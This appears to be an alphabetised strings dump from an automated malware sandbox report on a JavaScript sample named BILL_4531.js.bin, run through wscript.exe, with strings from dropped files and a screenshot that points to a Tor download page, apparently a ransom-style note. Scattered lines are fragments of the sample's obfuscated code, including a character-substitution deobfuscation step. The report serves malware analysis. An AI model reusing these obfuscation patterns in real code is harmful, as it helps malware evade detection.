Unicode based on Runtime Data (helper.exe )

firefox.exe

Unicode based on Runtime Data (helper.exe )

firefox.exe.moz-upgrade

Unicode based on Runtime Data (helper.exe )

FirefoxHTML

Unicode based on Runtime Data (helper.exe )

FirefoxURL

Unicode based on Runtime Data (helper.exe )

Flags

Unicode based on Runtime Data (wscript.exe )

float: left;

Ansi based on Dropped File (nav.css)

float:left;

Ansi based on Dropped File (nav.css)

floor

Ansi based on Dropped File (gmpopenh264.dll.97104820)

FlsAlloc

Ansi based on Dropped File (gmpopenh264.dll.97104820)

FlsFree

Ansi based on Dropped File (gmpopenh264.dll.97104820)

FlsGetValue

Ansi based on Dropped File (gmpopenh264.dll.97104820)

FlsSetValue

Ansi based on Dropped File (gmpopenh264.dll.97104820)

FlushFileBuffers

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

FolderTypeID

Unicode based on Runtime Data (wscript.exe )

Ansi based on Image Processing (screen_4.png)

font-family:Arial, Helvetica, sans-serif !important;

Ansi based on Dropped File (nav.css)

font-size:11px;

Ansi based on Dropped File (nav.css)

font-size:13px !important;

Ansi based on Dropped File (nav.css)

font-size:13px;

Ansi based on Dropped File (nav.css)

font-size:1em;

Ansi based on Dropped File (nav.css)

font-style:normal;

Ansi based on Dropped File (nav.css)

font-weight:bold;

Ansi based on Dropped File (nav.css)

font-weight:normal;

Ansi based on Dropped File (nav.css)

form_inputs.each(function() {

Ansi based on Dropped File (home-&-garden)

form_values[this.name] = $(this).val();

Ansi based on Dropped File (home-&-garden)

form_values_for_url = JSON.stringify(form_values);

Ansi based on Dropped File (home-&-garden)

format: wNumb({

Ansi based on Dropped File (home-&-garden)

FormatMessageA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

FormatMessageW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

found

Ansi based on Image Processing (screen_4.png)

fr-BE

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

fr-CA

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

fr-CH

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

fr-LU

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Frame count

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Frame decode on worker thread length =

Ansi based on Dropped File (gmpopenh264.dll.97104820)

frame_crop_left_offset + frame_crop_right_offset exceeds limits!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

frame_crop_top_offset + frame_crop_right_offset exceeds limits!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

FrameRate:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

FreeEnvironmentStringsW

Ansi based on Dropped File (gmpopenh264.dll.97104820)

FreeLibrary

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

FreeMemorySvc(), verify memory usage (%d bytes) after free..

Ansi based on Dropped File (gmpopenh264.dll.97104820)

french-belgian

Ansi based on Dropped File (gmpopenh264.dll.97104820)

french-canadian

Ansi based on Dropped File (gmpopenh264.dll.97104820)

french-luxembourg

Ansi based on Dropped File (gmpopenh264.dll.97104820)

french-swiss

Ansi based on Dropped File (gmpopenh264.dll.97104820)

frexp

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Friday

Ansi based on Dropped File (gmpopenh264.dll.97104820)

FriendlyTypeName

Unicode based on Runtime Data (helper.exe )

FromCacheTimeout

Unicode based on Runtime Data (eXe )

FtpDefaultExpiryTimeSecs

Unicode based on Runtime Data (eXe )

fu%d%s

Ansi based on Dropped File (gmpopenh264.dll.97104820)

function alsosj() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function anar() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function avompavwir() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function bagef() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function buzapm() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function bycy() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function evulon() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function evwybo() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function exvihve() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function fdutvax() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function ghisolpy() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function hafutw() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function hyxi() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function immoffunha() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function imsaw() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function iwkydciti() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function mkiwo() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function mmysse() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

Function not implemented

Ansi based on Dropped File (gmpopenh264.dll.97104820)

function nsetriso() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function ocuqga() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function oqgovajo() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function osyqqorvalq() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function ozgusaq() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function pjipukyzz() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function qoqkotsy() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function qzibxijdeqo() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function sxuwga() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function ukotyfsug() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function wyvun() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function xocygcah() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function ycwywbarm() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function ylqeful() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function ytxobo() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function zcagyl() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

function zhavutfi() {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ga('create', 'UA-51651642-1', 'auto');

Ansi based on Dropped File (home-&-garden)

ga('send', 'pageview');

Ansi based on Dropped File (home-&-garden)

ga-IE

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

galCopyright

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

galTrademarks

Unicode based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

gaVoxels voxelizer.lnk

Unicode based on Runtime Data (eXe )

Gbs-BA-Latn

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

gd-GB

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GDI32.dll

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

Generation

Unicode based on Runtime Data (wscript.exe )

generic

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GenuineIntel

Ansi based on Dropped File (gmpopenh264.dll.97104820)

german-austrian

Ansi based on Dropped File (gmpopenh264.dll.97104820)

german-lichtenstein

Ansi based on Dropped File (gmpopenh264.dll.97104820)

german-luxembourg

Ansi based on Dropped File (gmpopenh264.dll.97104820)

german-swiss

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GetACP

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetActiveWindow

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetClassInfoA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetClassInfoW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetClassNameA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetClientRect

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetCommandLineA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetCommandLineW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetConsoleCP

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GetConsoleMode

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetCPInfo

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetCurrentProcess

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetCurrentProcessId

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetCurrentThreadId

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetDC

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetDeviceCaps

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetDiskFreeSpaceExW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

GetDiskFreeSpaceW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetDlgItem

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetDlgItemTextW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetEnvironmentStringsW

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GetExitCodeProcess

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetFileAttributesA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetFileAttributesW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetFileSize

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetFileType

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GetFileVersionInfoA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetFileVersionInfoSizeA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetFileVersionInfoSizeW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetFileVersionInfoW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetFullPathNameA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetFullPathNameW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetLastActivePopup

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GetLastError

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetLocaleInfoA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetLocaleInfoW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetMessageA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetMessagePos

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetModuleBaseNameW

Ansi based on Hybrid Analysis (helper.exe , 00037821-00000600.00000000.38323.00401000.00000020.mdmp)

GetModuleFileNameA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetModuleFileNameW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetModuleHandleA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetModuleHandleW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetMultipleThreadIdc(), InitSliceSettings failed.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GetOEMCP

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GetParent

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetPrivateProfileIntA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetPrivateProfileIntW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetPrivateProfileStringA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetPrivateProfileStringW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetProcAddress

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetProcessHeap

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetProcessWindowStation

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GetResource.ashx1951421995.css

Unicode based on Runtime Data (eXe )

GetShortPathNameW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetStartupInfoA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetStartupInfoW

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GetStdHandle

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetStringTypeW

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GetSysColor

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetSystemDefaultUILanguage

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetSystemDirectoryA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetSystemDirectoryW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetSystemInfo

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GetSystemMenu

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetSystemMetrics

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetSystemTimeAsFileTime

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetTempFileNameA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetTempFileNameW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetTempPathA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetTempPathW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetTickCount

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetUserDefaultLCID

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetUserDefaultUILanguage

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetUserNameW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetUserObjectInformationW

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GetVersion

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetVersionExA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetVersionExW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetWindowLongA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GetWindowLongW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetWindowRect

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetWindowsDirectoryW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

Giu-CA-Latn

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

gl-ES

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

GlobalAlloc

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GlobalAssocChangedCounter

Unicode based on Runtime Data (helper.exe )

GlobalFree

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GlobalLock

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GlobalSession

Unicode based on Runtime Data (wscript.exe )

GlobalSize

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

GlobalUnlock

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GlobalUserOffline

Unicode based on Runtime Data (eXe )

GMPGetAPI

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GMPInit

Ansi based on Dropped File (gmpopenh264.dll.97104820)

gmpopenh264.dll

Ansi based on Dropped File (gmpopenh264.dll.97104820)

GMPShutdown

Ansi based on Dropped File (gmpopenh264.dll.97104820)

gopher

Unicode based on Runtime Data (helper.exe )

gqilcelyr = "ybxa";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

great britain

Ansi based on Dropped File (gmpopenh264.dll.97104820)

gserver

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Gsr-BA-Cyrl

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

gsw-FR

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

gu-IN

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

guments

Unicode based on Dropped File (gmpopenh264.dll.97104820)

gvowegy = ojowixi + arjozxibu;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

GWScript

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Gzh-CHS

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

ha-Latn

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

ha-Latn-NG

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

hamizha-tamil-fonts-pack-1.0.exe

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

HasNavigationEnum

Unicode based on Runtime Data (wscript.exe )

HeaderExclusionListForCache

Unicode based on Runtime Data (eXe )

HeapAlloc

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

HeapCreate

Ansi based on Dropped File (gmpopenh264.dll.97104820)

HeapDestroy

Ansi based on Dropped File (gmpopenh264.dll.97104820)

HeapFree

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

HeapReAlloc

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

HeapSetInformation

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

HeapSize

Ansi based on Dropped File (gmpopenh264.dll.97104820)

height: auto;

Ansi based on Dropped File (nav.css)

height:22px;

Ansi based on Dropped File (nav.css)

height:28px;

Ansi based on Dropped File (nav.css)

height:34px;

Ansi based on Dropped File (nav.css)

height:35px;

Ansi based on Dropped File (nav.css)

height:auto;

Ansi based on Dropped File (nav.css)

Helper

Unicode based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

HelperDllName

Unicode based on Runtime Data (eXe )

here:

Ansi based on Image Processing (screen_4.png)

HH:mm:ss

Unicode based on Dropped File (gmpopenh264.dll.97104820)

Hidden

Unicode based on Runtime Data (wscript.exe )

HideFileExt

Unicode based on Runtime Data (wscript.exe )

HideFolderVerbs

Unicode based on Runtime Data (wscript.exe )

HideIcons

Unicode based on Runtime Data (wscript.exe )

HideInWebView

Unicode based on Runtime Data (wscript.exe )

HideOnDesktopPerUser

Unicode based on Runtime Data (wscript.exe )

History

Unicode based on Runtime Data (eXe )

hodfar = 3.66 + hodfar;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

holland

Ansi based on Dropped File (gmpopenh264.dll.97104820)

home-&-garden

Unicode based on Runtime Data (eXe )

hong-kong

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Hostname

Unicode based on Runtime Data (eXe )

HpbstrSourceWd

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

ht:normal;color:#000;font-size:13px;padding-bottom:15px;}#catnav li li a:hover, #catnav li li a:active {color:#ed1c24 !important;font-size:13px;}#catnav li:hover ul, #catnav li li:hover ul, #catnav li li li:hover ul, #catnav li.sfhover ul, #catnav li li.sfhover ul, #catnav li li li.sfhover ul {left: auto;}/************************************************ NEW WORDPRESS 3 CUSTOM MENUE STYLES************************************************/#wp_nav_menu {background: #333;margin: 0 auto;width: 940px;display:block;float:left;box-shadow: 1px 1px 3px #c5c5c5;-moz-box-shadow: 1px 1px 3px #c5c5c5;-webkit-box-shadow: 1px 1px 3px #c5c5c5;}#wp_nav_menu .menu-header,div.menu {margin-left: 0px;}#wp_nav_menu .menu-header ul,div.menu ul {list-style: none;margin: 0;}#wp_nav_menu .menu-header li,div.menu li {float:left;position: relative;}#wp_nav_menu a {display:block;text-decoration:none;color:#fff;padding:0 10px;line-height:28px;}#wp_nav_menu

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

HttpDefaultExpiryTimeSecs

Unicode based on Runtime Data (eXe )

https://www.torproje_.or9/download/download-easy.html

Ansi based on Image Processing (screen_4.png)

HWScript_OnScriptTerminate

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

I\%04hx

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

iBaseModeFlag (%d) != 0, inter-layer prediction not supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

icdeqlyd = 'ode';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

IconsOnly

Unicode based on Runtime Data (wscript.exe )

identi_cation

Ansi based on Image Processing (screen_4.png)

IdnEnabled

Unicode based on Runtime Data (eXe )

iexplore.exe

Unicode based on Runtime Data (helper.exe )

if (/cri/.test(ScriptEngine())) xjomgokhe = xjomgokhe[aqmery](ixunlogs[wtyzyj], ewavke[wtyzyj]);

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (acuvby == 687) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (afdih == null) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (alsosj() == 777) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (alucra === undefined) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (anar() === 'nune') {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (aqodep === null) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (avompavwir() === 715) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (buzapm() === 'etifsigj') {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (bycy() == 412) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ejlacozfe === 0) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (evulon() === 571) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (evwybo() === 854) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (exvihve() == 89) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (farkysp == true) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (fdutvax() == null) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (fhuwovguhxo == undefined) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ghisolpy() == false) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (gmerizacz < 1045) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (hafutw() === undefined) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ikwucelfy == "alyfmixamz") {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ilavhys === null) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (imekpajwob == 62) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (immoffunha() === null) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (imsaw() === 'upima') {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (iwkydciti() == false) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (iwugdiwx == '5.855') {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (izgyjgipso == 0) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (lerlerkytu == "undefined") {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (mkiwo() === 17.1654) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (mkolcive === null) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (mmysse() === 21.5) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (nisernu === null) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (nsetriso() < 9) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (obfymogev === 783) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (osyqqorvalq() === undefined) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (qoqkotsy() === 124) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (qzibxijdeqo() == 608) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (sxuwga() === null) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (typeof dhaqsira == 'number') {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (typeof etfygfaqy == "object") {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (typeof hyxi() == "string") {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (typeof ohug == "undefined") {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (typeof olupa == 'string') {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (typeof pjipukyzz() == "number") {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (typeof ylqeful() == 'string') {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ucuxju === undefined) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ugbuts === 'hucviqidlo') {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ukotyfsug() === 0) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (utany === null) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (vwivefnawy === 'urylz') {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (vyrajtyju == 65.647) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (wtyzyj == ixunlogs.length) break;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (wyvun() == undefined) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (xocygcah() < -26) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (xxiccufuxby == true) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ycwywbarm() == 0) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ygfavzixt == true) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (ymcev == undefined) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (yzfotdynasw === 1) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

if (zhavutfi() == 15.0474) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

IgnoreUserSettings

Unicode based on Runtime Data (wscript.exe )

IHost_ClassWH

